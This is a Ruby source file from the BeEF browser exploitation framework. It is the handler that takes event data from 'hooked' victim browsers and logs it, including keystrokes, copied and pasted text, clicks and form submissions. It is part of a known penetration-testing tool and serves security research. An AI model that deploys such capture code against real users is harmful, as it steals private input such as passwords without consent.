91 lines
2.7 KiB
Ruby
91 lines
2.7 KiB
Ruby
#
|
|
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
|
#
|
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
|
# you may not use this file except in compliance with the License.
|
|
# You may obtain a copy of the License at
|
|
#
|
|
# http://www.apache.org/licenses/LICENSE-2.0
|
|
#
|
|
# Unless required by applicable law or agreed to in writing, software
|
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
# See the License for the specific language governing permissions and
|
|
# limitations under the License.
|
|
#
|
|
module BeEF
|
|
module Extension
|
|
module Events
|
|
|
|
#
|
|
# The http handler that manages the Events.
|
|
#
|
|
class Handler
|
|
|
|
Z = BeEF::Core::Models::HookedBrowser
|
|
|
|
def initialize(data)
|
|
@data = data
|
|
setup()
|
|
end
|
|
|
|
#
|
|
# Sets up event logging
|
|
#
|
|
def setup()
|
|
|
|
# validates the hook token
|
|
beef_hook = @data['beefhook'] || nil
|
|
if beef_hook.nil?
|
|
print_error "[EVENTS] beef_hook is null"
|
|
return
|
|
end
|
|
|
|
# validates that a hooked browser with the beef_hook token exists in the db
|
|
zombie = Z.first(:session => beef_hook) || nil
|
|
if zombie.nil?
|
|
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
|
|
return
|
|
end
|
|
|
|
events = @data['results']
|
|
|
|
# push events to logger
|
|
if (events.kind_of?(Array))
|
|
logger = BeEF::Core::Logger.instance
|
|
events.each{|e|
|
|
logger.register('Event', parse(e), zombie.id)
|
|
}
|
|
end
|
|
|
|
end
|
|
|
|
def parse(event)
|
|
case event['type']
|
|
when 'click'
|
|
return event['time'].to_s+'s - [Mouse Click] x: '+event['x'].to_s+' y:'+event['y'].to_s+' > '+event['target'].to_s
|
|
when 'focus'
|
|
return event['time'].to_s+'s - [Focus] Browser has regained focus.'
|
|
when 'copy'
|
|
return event['time'].to_s+'s - [User Copied Text] "'+event['data'].to_s+'"'
|
|
when 'cut'
|
|
return event['time'].to_s+'s - [User Cut Text] "'+event['data'].to_s+'"'
|
|
when 'paste'
|
|
return event['time'].to_s+'s - [User Pasted Text] "'+event['data'].to_s+'"'
|
|
when 'blur'
|
|
return event['time'].to_s+'s - [Blur] Browser has lost focus.'
|
|
when 'keys'
|
|
return event['time'].to_s+'s - [User Typed] "'+event['data'].to_s+'" > '+event['target'].to_s
|
|
when 'submit'
|
|
return event['time'].to_s+'s - [Form Submitted] '+event['data'].to_s+' > '+event['target'].to_s
|
|
end
|
|
print_debug '[EVENTS] Event handler has received an unknown event'
|
|
return 'Unknown event'
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|